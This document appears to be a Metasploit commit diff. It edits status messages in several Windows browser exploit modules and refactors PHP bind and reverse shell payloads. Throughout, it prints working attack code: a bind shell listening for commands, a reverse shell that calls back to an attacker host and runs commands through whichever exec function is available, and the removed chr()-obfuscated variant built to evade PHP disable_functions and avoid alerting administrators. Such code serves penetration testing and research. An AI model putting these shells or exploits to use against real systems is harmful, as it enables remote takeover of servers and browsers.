return if ((p = regenerate_payload(cli)) == nil)
|
||||||
|
|
||||||
print_status("Sending ANI file to #{cli.peerhost}:#{cli.peerport}...")
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||||
|
|
||||||
# Transmit the compressed response to the client
|
# Transmit the compressed response to the client
|
||||||
send_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' })
|
send_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' })
|
||||||
|
|
|
@ -66,7 +66,7 @@ class Exploits::Windows::Browser::Apple_Quicktime_RTSP < Msf::Exploit::Remote
|
||||||
content << "<embed autoplay=\"true\" moviename=\"#{cruft}\" " + "qtnext=\"#{cruft}\" type=\"video/quicktime\" "
|
content << "<embed autoplay=\"true\" moviename=\"#{cruft}\" " + "qtnext=\"#{cruft}\" type=\"video/quicktime\" "
|
||||||
content << "src=\"rtsp://#{cruft}:#{sploit}\" />\n"
|
content << "src=\"rtsp://#{cruft}:#{sploit}\" />\n"
|
||||||
|
|
||||||
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
|
print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...")
|
||||||
|
|
||||||
send_response(client, content, { 'Content-Type' => 'text/html' })
|
send_response(client, content, { 'Content-Type' => 'text/html' })
|
||||||
|
|
||||||
|
|
|
@ -99,7 +99,7 @@ class Exploits::Windows::Browser::MS03_020_Ie_ObjectType < Msf::Exploit::Remote
|
||||||
"</object>" +
|
"</object>" +
|
||||||
"</html>"
|
"</html>"
|
||||||
|
|
||||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||||
|
|
||||||
# Transmit the response to the client
|
# Transmit the response to the client
|
||||||
send_response_html(cli, content)
|
send_response_html(cli, content)
|
||||||
|
|
|
@ -72,7 +72,7 @@ class Exploits::Windows::Browser::MS06_067_KEYFRAME < Msf::Exploit::Remote
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
return if ((p = regenerate_payload(cli)) == nil)
|
return if ((p = regenerate_payload(cli)) == nil)
|
||||||
|
|
||||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||||
|
|
||||||
# This is taken directly from Alex's exploit -- all credit goes to him.
|
# This is taken directly from Alex's exploit -- all credit goes to him.
|
||||||
trigger_js = heaplib(
|
trigger_js = heaplib(
|
||||||
|
|
|
@ -129,7 +129,7 @@ class Exploits::Windows::Browser::MS06_071_XML_CORE < Msf::Exploit::Remote
|
||||||
|
|
||||||
content = Rex::Text.randomize_space(content)
|
content = Rex::Text.randomize_space(content)
|
||||||
|
|
||||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||||
|
|
||||||
# Transmit the response to the client
|
# Transmit the response to the client
|
||||||
send_response_html(cli, content)
|
send_response_html(cli, content)
|
||||||
|
|
|
@ -106,7 +106,7 @@ class Exploits::Windows::Browser::NovelliPrint_GetDriverSettings < Msf::Exploit:
|
||||||
|
|
||||||
content = Rex::Text.randomize_space(content)
|
content = Rex::Text.randomize_space(content)
|
||||||
|
|
||||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
print_status("Sending #{self.name}to #{cli.peerhost}:#{cli.peerport}...")
|
||||||
|
|
||||||
# Transmit the response to the client
|
# Transmit the response to the client
|
||||||
send_response_html(cli, content)
|
send_response_html(cli, content)
|
||||||
|
|
|
@ -11,6 +11,7 @@
|
||||||
|
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/php'
|
||||||
require 'msf/core/handler/bind_tcp'
|
require 'msf/core/handler/bind_tcp'
|
||||||
require 'msf/base/sessions/command_shell'
|
require 'msf/base/sessions/command_shell'
|
||||||
|
|
||||||
|
@ -22,13 +23,14 @@ module Php
|
||||||
module BindPhp
|
module BindPhp
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Php
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'PHP Command Shell, Bind TCP (via php)',
|
'Name' => 'PHP Command Shell, Bind TCP (via php)',
|
||||||
'Version' => '$Revision$',
|
'Version' => '$Revision$',
|
||||||
'Description' => 'Listen for a connection and spawn a command shell via php (persistent)',
|
'Description' => 'Listen for a connection and spawn a command shell via php (persistent)',
|
||||||
'Author' => ['diaul <diaul@devilopers.org>',],
|
'Author' => ['egypt', 'diaul <diaul@devilopers.org>',],
|
||||||
'License' => BSD_LICENSE,
|
'License' => BSD_LICENSE,
|
||||||
'Platform' => 'php',
|
'Platform' => 'php',
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
|
@ -47,34 +49,37 @@ module BindPhp
|
||||||
# PHP Bind Shell
|
# PHP Bind Shell
|
||||||
#
|
#
|
||||||
def php_bind_shell
|
def php_bind_shell
|
||||||
|
|
||||||
|
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
|
||||||
shell = <<-END_OF_PHP_CODE
|
shell = <<-END_OF_PHP_CODE
|
||||||
error_reporting(E_ALL);
|
#{php_preamble({:disabled_varname => dis})}
|
||||||
|
|
||||||
set_time_limit(0);
|
|
||||||
ob_implicit_flush();
|
|
||||||
|
|
||||||
$port=#{datastore['LPORT']};
|
$port=#{datastore['LPORT']};
|
||||||
|
|
||||||
|
$scl='socket_create_listen';
|
||||||
|
if(is_callable($scl)&&!in_array($scl,#{dis})){
|
||||||
|
$sock=$scl($port);
|
||||||
|
}else{
|
||||||
$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
|
$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
|
||||||
$ret=socket_bind($sock,0,$port);
|
$ret=socket_bind($sock,0,$port);
|
||||||
$ret=socket_listen($sock,5);
|
$ret=socket_listen($sock,5);
|
||||||
$msgsock = socket_accept($sock);
|
|
||||||
|
|
||||||
while (true)
|
|
||||||
{
|
|
||||||
$command = socket_read($msgsock, 2048, PHP_NORMAL_READ);
|
|
||||||
$output = shell_exec(substr($command, 0, -1));
|
|
||||||
socket_write($msgsock, $output, strlen($output));
|
|
||||||
}
|
}
|
||||||
|
$msgsock=socket_accept($sock);
|
||||||
socket_close($sock);
|
socket_close($sock);
|
||||||
|
|
||||||
|
while(FALSE!==socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
|
||||||
|
{
|
||||||
|
|
||||||
|
$c=socket_read($msgsock,2048,PHP_NORMAL_READ);
|
||||||
|
if(FALSE===$c){break;}
|
||||||
|
#{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})}
|
||||||
|
socket_write($msgsock,$o,strlen($o));
|
||||||
|
}
|
||||||
|
socket_close($msgsock);
|
||||||
END_OF_PHP_CODE
|
END_OF_PHP_CODE
|
||||||
|
|
||||||
return shell
|
return shell
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Constructs the payload
|
# Constructs the payload
|
||||||
#
|
#
|
||||||
|
@ -82,7 +87,6 @@ module BindPhp
|
||||||
return super + php_bind_shell
|
return super + php_bind_shell
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end end end end
|
end end end end
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
##
|
##
|
||||||
# $Id:$
|
# $Id$
|
||||||
##
|
##
|
||||||
|
|
||||||
##
|
##
|
||||||
|
@ -11,6 +11,7 @@
|
||||||
|
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/php'
|
||||||
require 'msf/core/handler/reverse_tcp'
|
require 'msf/core/handler/reverse_tcp'
|
||||||
require 'msf/base/sessions/command_shell'
|
require 'msf/base/sessions/command_shell'
|
||||||
|
|
||||||
|
@ -22,6 +23,7 @@ module Php
|
||||||
module ReversePerl
|
module ReversePerl
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Php
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
|
@ -47,7 +49,11 @@ module ReversePerl
|
||||||
# Constructs the payload
|
# Constructs the payload
|
||||||
#
|
#
|
||||||
def generate
|
def generate
|
||||||
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'))"
|
buf = "#{php_preamble}"
|
||||||
|
buf += "$c = base64_decode('#{Rex::Text.encode_base64(command_string)}');"
|
||||||
|
buf += "#{php_system_block({:cmd_varname=>"$c"})}"
|
||||||
|
return super + buf
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -11,6 +11,7 @@
|
||||||
|
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/php'
|
||||||
require 'msf/core/handler/reverse_tcp'
|
require 'msf/core/handler/reverse_tcp'
|
||||||
require 'msf/base/sessions/command_shell'
|
require 'msf/base/sessions/command_shell'
|
||||||
|
|
||||||
|
@ -22,6 +23,7 @@ module Php
|
||||||
module ReversePhp
|
module ReversePhp
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Php
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
|
@ -43,20 +45,6 @@ module ReversePhp
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# PHP Reverse Shell completely without quotes. Strings and regexes
|
|
||||||
# are replaced with chr() equivalents and the IP address to connect to is
|
|
||||||
# replaced with integer equivalent wrapped in long2ip().
|
|
||||||
#
|
|
||||||
# Attempts to make a connection back to the attacker using fsockopen or
|
|
||||||
# socket_create and associated functions. Then attempts to execute a
|
|
||||||
# system command with the following functions, in order:
|
|
||||||
# - shell_exec
|
|
||||||
# - passthru
|
|
||||||
# - system
|
|
||||||
# - exec
|
|
||||||
# - proc_open
|
|
||||||
# - popen
|
|
||||||
#
|
#
|
||||||
# Issues
|
# Issues
|
||||||
# - Since each command is executed in a new shell, 'cd' does nothing.
|
# - Since each command is executed in a new shell, 'cd' does nothing.
|
||||||
|
@ -64,7 +52,9 @@ module ReversePhp
|
||||||
# - Tries to get around disable_functions but makes no attempts to
|
# - Tries to get around disable_functions but makes no attempts to
|
||||||
# circumvent safe mode.
|
# circumvent safe mode.
|
||||||
# - Should this add '2>&1' to the end of the executed command to avoid
|
# - Should this add '2>&1' to the end of the executed command to avoid
|
||||||
# logging suspicious error messages?
|
# logging suspicious error messages? I'm afraid this will break
|
||||||
|
# the payload, especially on Windows, but I also don't like my tools
|
||||||
|
# ratting on me to the administrator.
|
||||||
#
|
#
|
||||||
def php_reverse_shell
|
def php_reverse_shell
|
||||||
|
|
||||||
|
@ -76,113 +66,48 @@ module ReversePhp
|
||||||
ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first
|
ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first
|
||||||
port = datastore['LPORT']
|
port = datastore['LPORT']
|
||||||
end
|
end
|
||||||
|
exec_funcname = Rex::Text.rand_text_alpha(5)
|
||||||
|
|
||||||
#
|
|
||||||
# The regex looks like this unobfuscated:
|
|
||||||
# preg_replace('/[, ]+/', ',', $disabled);
|
|
||||||
#
|
|
||||||
shell=<<-END_OF_PHP_CODE
|
shell=<<-END_OF_PHP_CODE
|
||||||
$ipaddr=long2ip(#{ipaddr});
|
$ipaddr=long2ip(#{ipaddr});
|
||||||
$port=#{port};
|
$port=#{port};
|
||||||
$_=chr(95);$a=chr(97);$b=chr(98);$c=chr(99);$d=chr(100);$e=chr(101);
|
#{php_preamble({:disabled_varname => "$dis"})}
|
||||||
$f=chr(102);$h=chr(104);$i=chr(105);$k=chr(107);$l=chr(108);$m=chr(109);
|
|
||||||
$n=chr(110);$o=chr(111);$p=chr(112);$r=chr(114);$s=chr(115);$t=chr(116);
|
if(!function_exists('myexec')){function myexec($c){
|
||||||
$u=chr(117);$x=chr(120);$y=chr(121);
|
global$dis;
|
||||||
$disabled=@ini_get($d.$i.$s.$a.$b.$l.$e.$_.$f.$u.$n.$c.$t.$i.$o.$n.$s);
|
#{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})}
|
||||||
if(!empty($disabled)){
|
return$o;
|
||||||
$disabled=preg_replace(chr(47).chr(91).chr(44).chr(32).chr(93).chr(43).chr(47),chr(44),$disabled);
|
}}
|
||||||
$disabled=explode(chr(44),$disabled);
|
$nofuncs='no exec functions';
|
||||||
$disabled=array_map($t.$r.$i.$m,$disabled);
|
if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
|
||||||
}else{
|
$s=fsockopen($ipaddr,$port);
|
||||||
$disabled=array();
|
while($c=fread($s,2048)){
|
||||||
}
|
$out=myexec(substr($c,0,-1));
|
||||||
@set_time_limit(0);
|
if($out===false){
|
||||||
@ignore_user_abort(1);
|
fwrite($s,$nofuncs);
|
||||||
@ini_set($m.$a.$x.$_.$e.$x.$e.$c.$u.$t.$i.$o.$n.$_.$t.$i.$m.$e,0);
|
|
||||||
function myexec($cmd){
|
|
||||||
global$disabled,$_,$a,$c,$e,$h,$m,$n,$o,$p,$r,$s,$t,$u,$x,$y;
|
|
||||||
if(is_callable($s.$h.$e.$l.$l.$_.$e.$x.$e.$c)and!in_array($s.$h.$e.$l.$l.$_.$e.$x.$e.$c,$disabled)){
|
|
||||||
$output=shell_exec($cmd);
|
|
||||||
return$output;
|
|
||||||
}elseif(is_callable($p.$a.$s.$s.$t.$h.$r.$u)and!in_array($p.$a.$s.$s.$t.$h.$r.$u,$disabled)){
|
|
||||||
ob_start();
|
|
||||||
passthru($cmd);
|
|
||||||
$output=ob_get_contents();
|
|
||||||
ob_end_clean();
|
|
||||||
return$output;
|
|
||||||
}elseif(is_callable($s.$y.$s.$t.$e.$m)and!in_array($s.$y.$s.$t.$e.$m,$disabled)){
|
|
||||||
ob_start();
|
|
||||||
system($cmd);
|
|
||||||
$output=ob_get_contents();
|
|
||||||
ob_end_clean();
|
|
||||||
return$output;
|
|
||||||
}elseif(is_callable($e.$x.$e.$c)and!in_array($e.$x.$e.$c,$disabled)){
|
|
||||||
$output=array();
|
|
||||||
exec($cmd,$output);
|
|
||||||
$output=join(chr(10),$output).chr(10);
|
|
||||||
return$output;
|
|
||||||
}elseif(is_callable($p.$r.$o.$c.$_.$o.$p.$e.$n)and!in_array($p.$r.$o.$c.$_.$o.$p.$e.$n,$disabled)){
|
|
||||||
$handle=proc_open($cmd,array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes);
|
|
||||||
$output=NULL;
|
|
||||||
while(!feof($pipes[1])){
|
|
||||||
$output.=fread($pipes[1],1024);
|
|
||||||
}
|
|
||||||
@proc_close($handle);
|
|
||||||
return$output;
|
|
||||||
}elseif(is_callable($p.$o.$p.$e.$n)and!in_array($p.$o.$p.$e.$n,$disabled)){
|
|
||||||
$fp=popen($cmd,r);
|
|
||||||
$output=NULL;
|
|
||||||
if(is_resource($fp)){
|
|
||||||
while(!feof($fp)){
|
|
||||||
$output.=fread($fp,1024);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@pclose($fp);
|
|
||||||
return$output;
|
|
||||||
}else{
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
$command=NULL;
|
|
||||||
$nofuncs=$n.$o.chr(32).$e.$x.$e.$c.chr(32).$f.$u.$n.$c.$t.$i.$o.$n.$s.chr(32).chr(61).chr(40);
|
|
||||||
if(is_callable($f.$s.$o.$c.$k.$o.$p.$e.$n)and!in_array($f.$s.$o.$c.$k.$o.$p.$e.$n,$disabled)){
|
|
||||||
$sock=fsockopen($ipaddr,$port);
|
|
||||||
while($cmd=fread($sock,2048)){
|
|
||||||
$output=myexec(substr($cmd,0,-1));
|
|
||||||
if($output===false){
|
|
||||||
fwrite($sock,$nofuncs);
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
fwrite($sock,$output);
|
fwrite($s,$out);
|
||||||
}
|
}
|
||||||
fclose($sock);
|
fclose($s);
|
||||||
}else{
|
}else{
|
||||||
$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
|
$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
|
||||||
socket_connect($sock,$ipaddr,$port);
|
socket_connect($s,$ipaddr,$port);
|
||||||
while($cmd=socket_read($sock,2048)){
|
socket_write($s,"socket_create");
|
||||||
$output=myexec(substr($cmd,0,-1));
|
while($c=socket_read($s,2048)){
|
||||||
if($output===false){
|
$out=myexec(substr($c,0,-1));
|
||||||
socket_write($sock,$nofuncs);
|
if($out===false){
|
||||||
|
socket_write($s,$nofuncs);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
socket_write($sock,$output,strlen($output));
|
socket_write($s,$out,strlen($out));
|
||||||
}
|
}
|
||||||
socket_close($sock);
|
socket_close($s);
|
||||||
}
|
}
|
||||||
END_OF_PHP_CODE
|
END_OF_PHP_CODE
|
||||||
|
|
||||||
# randomize the spaces a bit
|
# randomize the spaces a bit
|
||||||
shell.gsub!(/\s+/) { |s|
|
Rex::Text.randomize_space(shell)
|
||||||
len = rand(5)+2
|
|
||||||
set = "\x09\x20\x0a"
|
|
||||||
buf = ''
|
|
||||||
|
|
||||||
while (buf.length < len)
|
|
||||||
buf << set[rand(set.length)].chr
|
|
||||||
end
|
|
||||||
|
|
||||||
buf
|
|
||||||
}
|
|
||||||
|
|
||||||
return shell
|
return shell
|
||||||
end
|
end
|
||||||
|
@ -194,7 +119,6 @@ module ReversePhp
|
||||||
return super + php_reverse_shell
|
return super + php_reverse_shell
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end end end end
|
end end end end
|
||||||
|
|
Loading…
Reference in New Issue